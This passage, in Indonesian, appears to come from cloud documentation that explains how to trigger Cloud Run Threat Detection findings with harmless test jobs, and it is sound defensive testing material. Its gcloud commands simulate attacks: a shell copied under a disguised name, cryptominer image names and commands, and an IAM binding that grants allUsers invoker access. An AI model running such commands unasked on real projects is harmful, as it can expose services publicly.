--args "-c",'sleep 601; cp /bin/sh /tmp/consul; cp /bin/echo /tmp/sh; /tmp/consul -c "/tmp/sh child ran successfully & wait"; sleep 10' \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Prosedur pengujian ini membuat temuan Unexpected Child Shell. Perhatikan bahwa pengujian ini dapat memerlukan waktu hingga 15 menit untuk menghasilkan temuan.
Eksekusi: Image Docker Cryptomining
Untuk memicu temuan Execution: Cryptomining Docker Image, deploy container
menggunakan nama image Docker yang terkait dengan software penambangan kripto.
Buat dan jalankan tugas Cloud Run:
JOB_NAME="crtd-test-mining-img-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image docker.io/security-test-DO-NOT-USE/xmrig:latest \
--command sh \
--wait || true
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Prosedur pengujian ini membuat temuan Execution: Cryptomining Docker Image. Perhatikan bahwa deployment tugas akan gagal karena gambar tidak ada,
tetapi temuan akan tetap dibuat.
Dampak: Perintah Penambangan Kripto
Untuk memicu temuan Impact: Cryptomining Commands, jalankan perintah dengan
argumen yang menyerupai software penambangan kripto yang diketahui.
Buat dan jalankan tugas Cloud Run:
JOB_NAME="crtd-test-mining-cmd-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command xmrig \
--wait || true
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Prosedur pengujian ini membuat temuan Impact: Cryptomining Commands. Perhatikan
bahwa eksekusi tugas akan gagal karena perintah tidak ada dalam image,
tetapi temuan akan tetap dibuat.
Eskalasi Hak Istimewa: SetIAMPolicy Akun Layanan Compute Engine Default
Untuk memicu temuan Privilege Escalation: Default Compute Engine Service Account SetIAMPolicy, jalankan perintah yang menggunakan akun layanan Compute Engine default untuk menetapkan kebijakan IAM layanan Cloud Run.
Buat dan jalankan tugas Cloud Run:
JOB_NAME="crtd-test-set-iam-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image gcr.io/google.com/cloudsdktool/google-cloud-cli:stable \
--command gcloud \
--args "run","services","add-iam-policy-binding","non-existent-service","--region",$REGION,"--member=allUsers","--role=roles/run.invoker","--quiet" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Prosedur pengujian ini membuat temuan Privilege Escalation: Default Compute Engine Service Account SetIAMPolicy.
Langkah berikutnya
- Pelajari lebih lanjut Deteksi Ancaman Cloud Run.
- Pelajari cara menggunakan Deteksi Ancaman Cloud Run.